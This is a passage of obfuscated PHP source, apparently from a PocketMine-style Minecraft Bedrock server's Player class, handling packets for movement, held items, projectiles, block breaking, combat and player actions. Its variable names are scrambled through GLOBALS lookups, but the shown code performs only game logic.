Vector3)$this->sendPosition($this->forceMovement,$packet->yaw,$packet->pitch);}else{${"GLOBALS"}["zestkvbi"]="newPos";$packet->yaw%=360;$packet->pitch%=360;if($packet->yaw<0){$packet->yaw+=360;}$this->setRotation($packet->yaw,$packet->pitch);$this->newPosition=${${"GLOBALS"}["zestkvbi"]};}$this->forceMovement=null;break;case ProtocolInfo::MOB_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_EQUIPMENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}if(AnyVersionManager::isProtocol($this,"0.15")){$this->inventory->setHeldItemIndex($packet->selectedSlot,false,$packet->slot);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}else if(AnyVersionManager::isProtocol($this,"0.14")){if($packet->slot===0x28 or$packet->slot===0 or$packet->slot===255){$packet->slot=-1;}else{$packet->slot-=9;}${${"GLOBALS"}["fohexunnbe"]}=\null;if($this->isCreative()){$avmyyucumnf="item";${"GLOBALS"}["vispzoxm"]="slot";${$avmyyucumnf}=$packet->item;${${"GLOBALS"}["vispzoxm"]}=Item::getCreativeItemIndex(${${"GLOBALS"}["fohexunnbe"]});}else{${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItem($packet->slot);${${"GLOBALS"}["dfgxmweyoham"]}=$packet->slot;}if($packet->slot===-1){if($this->isCreative()){$hlyavfhdnai="found";${$hlyavfhdnai}=\false;${"GLOBALS"}["cfnqeejm"]="i";for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["cfnqeejm"]}<$this->inventory->getHotbarSize();++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["cvrswqvtq"]="i";if($this->inventory->getHotbarSlotIndex(${${"GLOBALS"}["cvrswqvtq"]})===-1){$jdwongefog="i";$this->inventory->setHeldItemIndex(${$jdwongefog});${${"GLOBALS"}["kdwdeptg"]}=\true;break;}}if(!${${"GLOBALS"}["kdwdeptg"]}){$this->inventory->sendContents($this);break;}}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<9){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot($packet->slot);}else{$this->inventory->sendContents($this);break;}}}elseif(${${"GLOBALS"}["fohexunnbe"]}===\null or${${"GLOBALS"}["dfgxmweyoham"]}===-1 or!$item->deepEquals($packet->item)){$this->inventory->sendContents($this);break;}elseif($this->isCreative()){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setItem($packet->selectedSlot,${${"GLOBALS"}["fohexunnbe"]});$this->inventory->setHeldItemSlot($packet->selectedSlot);}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<$this->inventory->getHotbarSize()){${"GLOBALS"}["ctiisqem"]="slot";$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot(${${"GLOBALS"}["ctiisqem"]});}else{$this->inventory->sendContents($this);break;}}$this->inventory->sendHeldItem($this->hasSpawned);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,\false);}break;case ProtocolInfo::USE_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::USE_ITEM_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}${${"GLOBALS"}["pezmjbzb"]}=new Vector3($packet->x,$packet->y,$packet->z);$this->craftingType=self::CRAFTING_SMALL;if($packet->face>=0 and$packet->face<=5){$oyypqmykxwh="blockVector";$qoexxydr="target";${"GLOBALS"}["mwfkbqtej"]="block";$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);if(!$this->canInteract($blockVector->add(0.5,0.5,0.5),13)or$this->isSpectator()){}elseif($this->isCreative()){$gsewhbw="blockVector";$zflxqecolts="item";${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();if($this->level->useItemOn(${$gsewhbw},${$zflxqecolts},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)===true){break;}}elseif(!$this->inventory->getItemInHand()->deepEquals($packet->item)and$this->getProtocol()==84){$this->inventory->sendHeldItem($this);}elseif(!$this->inventory->getItemInHand()->deepEquals($this->inventory->getItemInHand())and AnyVersionManager::isProtocol($this,"0.14")){$this->inventory->sendHeldItem($this);}else{${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();${"GLOBALS"}["xelstlq"]="blockVector";$frxgbojs="oldItem";${$frxgbojs}=clone${${"GLOBALS"}["fohexunnbe"]};if($this->level->useItemOn(${${"GLOBALS"}["xelstlq"]},${${"GLOBALS"}["fohexunnbe"]},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)){$dcuonzejpwd="oldItem";if(!$item->deepEquals(${$dcuonzejpwd})or$item->getCount()!==$oldItem->getCount()){$qhqragjx="item";$this->inventory->setItemInHand(${$qhqragjx});$this->inventory->sendHeldItem($this->hasSpawned);}break;}}$this->inventory->sendHeldItem($this);if($blockVector->distanceSquared($this)>10000){break;}${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${$oyypqmykxwh});${${"GLOBALS"}["mwfkbqtej"]}=$target->getSide($packet->face);$this->level->sendBlocks([$this],[${$qoexxydr},${${"GLOBALS"}["raioovemq"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);break;}elseif($packet->face===0xff){if($this->isSpectator()){break;}${${"GLOBALS"}["lolkqcukqy"]}=(new Vector3($packet->x/32768,$packet->y/32768,$packet->z/32768))->normalize();${"GLOBALS"}["khztyrsxvo"]="ev";if($this->isCreative()){${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();}else{$mhrgpznwjqd="item";${$mhrgpznwjqd}=$this->inventory->getItemInHand();}${${"GLOBALS"}["qcfzvl"]}=new PlayerInteractEvent($this,${${"GLOBALS"}["fohexunnbe"]},${${"GLOBALS"}["lolkqcukqy"]},$packet->face,PlayerInteractEvent::RIGHT_CLICK_AIR);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["khztyrsxvo"]});if($ev->isCancelled()){$this->inventory->sendHeldItem($this);break;}if($item->getId()===Item::FISHING_ROD){if($this->isFishing()){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_STOP_FISHING));}else{$igxkmyihz="ev";$this->server->getPluginManager()->callEvent(${$igxkmyihz}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_START_FISHING));}if(!$ev->isCancelled()){if($this->isFishing()){$this->setFishingHook();}else{${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)])]);${${"GLOBALS"}["otbgujnkc"]}=0.5;$gstvwofdi="f";$this->fishingHook=new FishingHook($this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this,$this->getId());$this->fishingHook->setMotion($this->fishingHook->getMotion()->multiply(${$gstvwofdi}));$this->fishingHook->spawnToAll();}}}elseif($item->getId()===Item::SNOWBALL){${"GLOBALS"}["iwmmrf"]="nbt";${"GLOBALS"}["lxispetjruk"]="nbt";${"GLOBALS"}["uskkyqpkg"]="snowball";$htqhoshnmx="f";${${"GLOBALS"}["iwmmrf"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);${"GLOBALS"}["stitveuimmnn"]="f";${${"GLOBALS"}["stitveuimmnn"]}=1.5;${"GLOBALS"}["askbuhga"]="snowball";${${"GLOBALS"}["askbuhga"]}=Entity::createEntity("Snowball",$this->chunk,${${"GLOBALS"}["lxispetjruk"]},$this);$snowball->setMotion($snowball->getMotion()->multiply(${$htqhoshnmx}));if($this->isSurvival()){$tyqjmfe="item";$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${$tyqjmfe}:Item::get(Item::AIR));}if(${${"GLOBALS"}["uskkyqpkg"]} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${${"GLOBALS"}["sxucesvsrdan"]}));if($projectileEv->isCancelled()){$snowball->kill();}else{$snowball->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$snowball->spawnToAll();}}elseif($item->getId()===Item::EGG){${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$qwqypgbcp="nbt";${${"GLOBALS"}["otbgujnkc"]}=1.5;${${"GLOBALS"}["cehxwvpx"]}=Entity::createEntity("Egg",$this->chunk,${$qwqypgbcp},$this);$egg->setMotion($egg->getMotion()->multiply(${${"GLOBALS"}["otbgujnkc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}if(${${"GLOBALS"}["cehxwvpx"]} instanceof Projectile){$hifgxob="egg";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${$hifgxob}));if($projectileEv->isCancelled()){$egg->kill();}else{$egg->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$egg->spawnToAll();}}elseif($item->getId()==Item::ENCHANTING_BOTTLE){${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$tpozrzm="f";${$tpozrzm}=1.1;$rggbdvxo="f";${${"GLOBALS"}["sxiedlzsmp"]}=new ThrownExpBottle($this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this);$thrownExpBottle->setMotion($thrownExpBottle->getMotion()->multiply(${$rggbdvxo}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}if(${${"GLOBALS"}["sxiedlzsmp"]} instanceof Projectile){${"GLOBALS"}["bddrhjighb"]="thrownExpBottle";$lanojjd="projectileEv";$this->server->getPluginManager()->callEvent(${$lanojjd}=new ProjectileLaunchEvent(${${"GLOBALS"}["bddrhjighb"]}));if($projectileEv->isCancelled()){$thrownExpBottle->kill();}else{$thrownExpBottle->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownExpBottle->spawnToAll();}}elseif($item->getId()==Item::SPLASH_POTION and$this->server->allowSplashPotion){$pecqpfnod="nbt";$kayfxwioir="f";${$pecqpfnod}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"PotionId"=>new ShortTag("PotionId",$item->getDamage()),]);${$kayfxwioir}=1.1;${"GLOBALS"}["jhatck"]="nbt";${${"GLOBALS"}["qeqmjamnwk"]}=new ThrownPotion($this->chunk,${${"GLOBALS"}["jhatck"]},$this);$thrownPotion->setMotion($thrownPotion->getMotion()->multiply(${${"GLOBALS"}["otbgujnkc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}$nfcruwxwds="thrownPotion";if(${$nfcruwxwds} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${${"GLOBALS"}["qeqmjamnwk"]}));if($projectileEv->isCancelled()){$thrownPotion->kill();}else{$thrownPotion->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownPotion->spawnToAll();}}$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,true);$this->startAction=$this->server->getTick();}break;case ProtocolInfo::PLAYER_ACTION_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_ACTION_PACKET:if($this->spawned===false or$this->blocked===true or(!$this->isAlive()and$packet->action!==PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION and$packet->action!==PlayerActionPacket::ACTION_SPAWN_OVERWORLD)){break;}$packet->eid=$this->id;${${"GLOBALS"}["xlpqskyeb"]}=new Vector3($packet->x,$packet->y,$packet->z);switch($packet->action){case PlayerActionPacket::ACTION_START_BREAK:if($pos->distanceSquared($this)>10000){break;}${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${$dqiuowfjyc});${$tskrbeobe}=new PlayerInteractEvent($this,$this->inventory->getItemInHand(),${$wtlhdcawpf},$packet->face,$target->getId()===0?PlayerInteractEvent::LEFT_CLICK_AIR:PlayerInteractEvent::LEFT_CLICK_BLOCK);$this->getServer()->getPluginManager()->callEvent(${$nyqacpmj});if(!$ev->isCancelled()){${"GLOBALS"}["jsvxurm"]="side";${${"GLOBALS"}["jsvxurm"]}=$target->getSide($packet->face);if(${${"GLOBALS"}["pwmecmu"]} instanceof Fire){$bskcgnutiz="side";$side->getLevel()->setBlock(${$bskcgnutiz},new Air());}$this->lastBreak=microtime(true);}else{$this->inventory->sendHeldItem($this);}break;case PlayerActionPacket::ACTION_ABORT_BREAK:$this->lastBreak=PHP_INT_MAX;break;case PlayerActionPacket::ACTION_RELEASE_ITEM:if($this->startAction>-1 and$this->getDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION)){if($this->inventory->getItemInHand()->getId()===Item::BOW){${"GLOBALS"}["grjfnebhpk"]="bow";$uitriwgljcc="bow";${"GLOBALS"}["uxjiybpj"]="diff";${"GLOBALS"}["kfdealtli"]="arrow";${${"GLOBALS"}["grjfnebhpk"]}=$this->inventory->getItemInHand();if($this->isSurvival()and!$this->inventory->contains(Item::get(Item::ARROW,null))){$this->inventory->sendContents($this);break;}${"GLOBALS"}["fendrdpcl"]="f";$pathlygf="diff";${${"GLOBALS"}["kfdealtli"]}=false;foreach($this->inventory->getContents()as${${"GLOBALS"}["fohexunnbe"]}){if($item->getId()==Item::ARROW){${"GLOBALS"}["vepdnqm"]="arrow";${"GLOBALS"}["snggmqs"]="item";${${"GLOBALS"}["vepdnqm"]}=${${"GLOBALS"}["snggmqs"]};}}if(${${"GLOBALS"}["dgolqrqwfa"]}===false and$this->isCreative()){${${"GLOBALS"}["dgolqrqwfa"]}=Item::get(Item::ARROW,0,1);}elseif(${${"GLOBALS"}["dgolqrqwfa"]}===false){break;}${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"Fire"=>new ShortTag("Fire",$this->isOnFire()?45*60:0),"Potion"=>new ShortTag("Potion",$arrow->getDamage())]);$xcypmzewrr="p";${$pathlygf}=($this->server->getTick()-$this->startAction);${${"GLOBALS"}["hejqsdj"]}=${${"GLOBALS"}["uxjiybpj"]}/20;${${"GLOBALS"}["otbgujnkc"]}=min(((${${"GLOBALS"}["hejqsdj"]}**2)+${$xcypmzewrr}*2)/3,1)*2;${${"GLOBALS"}["qcfzvl"]}=new EntityShootBowEvent($this,${$uitriwgljcc},Entity::createEntity("Arrow",$this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this,${${"GLOBALS"}["otbgujnkc"]}==2?true:false),${${"GLOBALS"}["fendrdpcl"]});if(${${"GLOBALS"}["otbgujnkc"]}<0.1 or${${"GLOBALS"}["bwaqorjihg"]}<5){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$ev->getProjectile()->kill();$this->inventory->sendContents($this);}else{$ev->getProjectile()->setMotion($ev->getProjectile()->getMotion()->multiply($ev->getForce()));if($this->isSurvival()){$this->inventory->removeItem(Item::get(Item::ARROW,$arrow->getDamage(),1));$bow->setDamage($bow->getDamage()+1);if($bow->getDamage()>=385){$this->inventory->setItemInHand(Item::get(Item::AIR,0,0));}else{${"GLOBALS"}["ubfcfrnla"]="bow";$this->inventory->setItemInHand(${${"GLOBALS"}["ubfcfrnla"]});}}if($ev->getProjectile()instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent($ev->getProjectile()));if($projectileEv->isCancelled()){$ev->getProjectile()->kill();}else{$ev->getProjectile()->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$ev->getProjectile()->spawnToAll();}}}}elseif($this->inventory->getItemInHand()->getId()===Item::BUCKET and$this->inventory->getItemInHand()->getDamage()===1){${"GLOBALS"}["tklikukskl"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["tklikukskl"]}=new PlayerItemConsumeEvent($this,$this->inventory->getItemInHand()));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}${${"GLOBALS"}["ozzywsrssq"]}=new EntityEventPacket();$yzocnqrmlsf="pk";$pk->eid=$this->getId();$pk->event=EntityEventPacket::USE_ITEM;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});Server::broadcastPacket($this->getViewers(),${$yzocnqrmlsf});if($this->isSurvival()){${"GLOBALS"}["hjuuneto"]="slot";${${"GLOBALS"}["hjuuneto"]}=$this->inventory->getItemInHand();--$slot->count;$this->inventory->setItemInHand(${${"GLOBALS"}["dfgxmweyoham"]});$this->inventory->addItem(Item::get(Item::BUCKET,0,1));}$this->removeAllEffects();}else{$this->inventory->sendContents($this);}break;case PlayerActionPacket::ACTION_STOP_SLEEPING:$this->stopSleep();break;case PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION:case PlayerActionPacket::ACTION_SPAWN_OVERWORLD:if($this->isAlive()or!$this->isOnline()){break;}if($this->server->isHardcore()){$this->setBanned(true);break;}$this->craftingType=self::CRAFTING_SMALL;if($this->server->netherEnabled){if($this->level==$this->server->netherLevel){$this->teleport(${${"GLOBALS"}["wxoehmqbtg"]}=$this->server->getDefaultLevel()->getSafeSpawn());}}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerRespawnEvent($this,$this->getSpawn()));$this->teleport($ev->getRespawnPosition());$this->setSprinting(false);$this->setSneaking(false);$this->extinguish();$this->setDataProperty(self::DATA_AIR,self::DATA_TYPE_SHORT,300);$this->deadTicks=0;$this->noDamageTicks=60;$this->removeAllEffects();$this->setHealth($this->getMaxHealth());$this->setFood(20);$this->starvationTick=0;$this->foodTick=0;$this->foodUsageTime=0;$this->sendData($this);$this->sendSettings();$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);$this->blocked=false;$this->spawnToAll();$this->scheduleUpdate();break;case PlayerActionPacket::ACTION_START_SPRINT:${${"GLOBALS"}["qcfzvl"]}=new PlayerToggleSprintEvent($this,true);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(true);}break 2;case PlayerActionPacket::ACTION_STOP_SPRINT:${${"GLOBALS"}["hxfzyeuz"]}=new PlayerToggleSprintEvent($this,false);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(false);}break 2;case PlayerActionPacket::ACTION_START_SNEAK:${${"GLOBALS"}["uzmetws"]}=new PlayerToggleSneakEvent($this,true);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(true);}break 2;case PlayerActionPacket::ACTION_STOP_SNEAK:${${"GLOBALS"}["qcfzvl"]}=new PlayerToggleSneakEvent($this,false);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(false);}break 2;case PlayerActionPacket::ACTION_JUMP:break 2;}$this->startAction=-1;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);break;case ProtocolInfo::REMOVE_BLOCK_PACKET:case\pocketmine\network\protocol\p70\Info::REMOVE_BLOCK_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["jxhudpfslpd"]}=new Vector3($packet->x,$packet->y,$packet->z);${${"GLOBALS"}["hqevcwsoe"]}=$this->inventory->getItemInHand();${$eeugcx}=clone${$jlitpscowkq};if($this->canInteract($vector->add(0.5,0.5,0.5),$this->isCreative()?13:6)and$this->level->useBreakOn(${$owcvkqe},${${"GLOBALS"}["fohexunnbe"]},$this,$this->server->destroyBlockParticle)){if($this->isSurvival()){${"GLOBALS"}["ouokezyov"]="oldItem";if(!$item->equals(${${"GLOBALS"}["ouokezyov"]})or$item->getCount()!==$oldItem->getCount()){$this->inventory->setItemInHand(${${"GLOBALS"}["fohexunnbe"]});$this->inventory->sendHeldItem($this);}$this->exhaust(0.025,PlayerExhaustEvent::CAUSE_MINING);}break;}$this->inventory->sendContents($this);${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${${"GLOBALS"}["umogdqn"]});${$oxgwsxi}=$this->level->getTile(${${"GLOBALS"}["jxhudpfslpd"]});$this->level->sendBlocks([$this],[${${"GLOBALS"}["hxxizz"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);$this->inventory->sendHeldItem($this);if(${$vnqhrtyqydjw} instanceof Spawnable){$tile->spawnTo($this);}break;case ProtocolInfo::MOB_ARMOR_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_ARMOR_EQUIPMENT_PACKET:break;case ProtocolInfo::INTERACT_PACKET:case\pocketmine\network\protocol\p70\Info::INTERACT_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["hxxizz"]}=$this->level->getEntity($packet->target);${$tjzipochb}=false;if(${$djotchztuut} instanceof Player and$this->server->getConfigBoolean("pvp",true)===false){$cfklbsnttpw="cancelled";${$cfklbsnttpw}=true;}if(${${"GLOBALS"}["vduaajkxx"]} instanceof Boat or(${${"GLOBALS"}["hxxizz"]} instanceof Minecart and$target->getType()==Minecart::TYPE_NORMAL)){if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){$this->linkEntity(${${"GLOBALS"}["hxxizz"]});}elseif($packet->action===InteractPacket::ACTION_LEFT_CLICK){$btqtfzkv="target";if($this->linkedEntity==${$btqtfzkv}){$target->setLinked(0,$this);}$target->close();}elseif($packet->action===InteractPacket::ACTION_LEAVE_VEHICLE){$xhryolvstu="target";$this->setLinked(0,${$xhryolvstu});}return;}if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){if(${${"GLOBALS"}["hxxizz"]} instanceof Animal and$this->getInventory()->getItemInHand()){}break;}if(${$blwrux} instanceof Entity and$this->getGamemode()!==Player::VIEW and$this->isAlive()and$target->isAlive()){$gvxczhzwerj="target";$guevcuu="ev";${"GLOBALS"}["fgbmpeqm"]="cancelled";if(${${"GLOBALS"}["hxxizz"]} instanceof DroppedItem or${$gvxczhzwerj} instanceof Arrow){$this->kick("Attempting to attack an invalid entity");$this->server->getLogger()->warning($this->getServer()->getLanguage()->translateString("pocketmine.player.invalidEntity",[$this->getName()]));break;}$yndedfgyyk="damage";$xtbsuptiwyb="target";${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();${"GLOBALS"}["gshpudkdm"]="damage";${${"GLOBALS"}["gshpudkdm"]}=[EntityDamageEvent::MODIFIER_BASE=>$item->getModifyAttackDamage(${${"GLOBALS"}["hxxizz"]}),];if(!$this->canInteract(${$xtbsuptiwyb},8)){$sdqgewqdot="cancelled";${$sdqgewqdot}=true;}elseif(${${"GLOBALS"}["hxxizz"]} instanceof Player){if(($target->getGamemode()&0x01)>0){break;}elseif($this->server->getConfigBoolean("pvp")!==true or$this->server->getDifficulty()===0){${${"GLOBALS"}["ttjkyjvwjtvx"]}=true;}}${$guevcuu}=new EntityDamageByEntityEvent($this,${${"GLOBALS"}["hxxizz"]},EntityDamageEvent::CAUSE_ENTITY_ATTACK,${$yndedfgyyk},0.4+$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_KNOCKBACK)*0.15);if(${${"GLOBALS"}["fgbmpeqm"]}){$ev->setCancelled();}if($target->attack($ev->getFinalDamage(),${${"GLOBALS"}["qcfzvl"]})===true){$hddugcejyoa="fireAspectL";${$hddugcejyoa}=$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_FIRE_ASPECT);if(${${"GLOBALS"}["aezyqbzp"]}>0){${"GLOBALS"}["mgdbph"]="fireEv";${${"GLOBALS"}["lbyppmcwjln"]}=new EntityCombustByEntityEvent($this,${${"GLOBALS"}["hxxizz"]},${${"GLOBALS"}["aezyqbzp"]}*4,$ev->getFireProtectL());Server::getInstance()->getPluginManager()->callEvent(${${"GLOBALS"}["mgdbph"]});if(!$fireEv->isCancelled()){$target->setOnFire($fireEv->getDuration());}}if($this->isSurvival()){$ev->createThornsDamage();if($ev->getThornsDamage()>0){${"GLOBALS"}["nleygiarfyn"]="target";${${"GLOBALS"}["ygkpnsu"]}=new EntityDamageByEntityEvent(${${"GLOBALS"}["nleygiarfyn"]},$this,EntityDamageEvent::CAUSE_ENTITY_ATTACK,$ev->getThornsDamage(),0);if(!$thornsEvent->isCancelled()){if($this->attack($thornsEvent->getFinalDamage(),${${"GLOBALS"}["ygkpnsu"]})===true){}};}}}if($ev->isCancelled()){if($item->isTool()and$this->isSurvival()){$this->inventory->sendContents($this);}break;}if($this->isSurvival()){if($item->isTool()){$bjqzxpvy="target";if($item->useOn(${$bjqzxpvy})and$item->getDamage()>=$item->getMaxDurability()){$this->inventory->setItemInHand(Item::get(Item::AIR,0,1));}else{$dtojls="item";$this->inventory->setItemInHand(${$dtojls});}}$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_ATTACK);}}break;case ProtocolInfo::ANIMATE_PACKET:case\pocketmine\network\protocol\p70\Info::ANIMATE_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerAnimationEvent($this,$packet->action));if($ev->isCancelled()){break;}${${"GLOBALS"}["ozzywsrssq"]}=new AnimatePacket();$pk->eid=$this->getId();$pk->action=$ev->getAnimationType();Server::broadcastPacket($this->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});break;case ProtocolInfo::SET_HEALTH_PACKET:case\pocketmine\network\protocol\p70\Info::SET_HEALTH_PACKET:break;case ProtocolInfo::ENTITY_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::ENTITY_EVENT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);switch($packet->event){case EntityEventPacket::USE_ITEM:${${"GLOBALS"}["uymlfoylz"]}=$this->inventory->getItemInHand();if($slot->canBeConsumed()){${"GLOBALS"}["dpibldfu"]="ev";$zqprtiv="ev";${${"GLOBALS"}["dpibldfu"]}=new 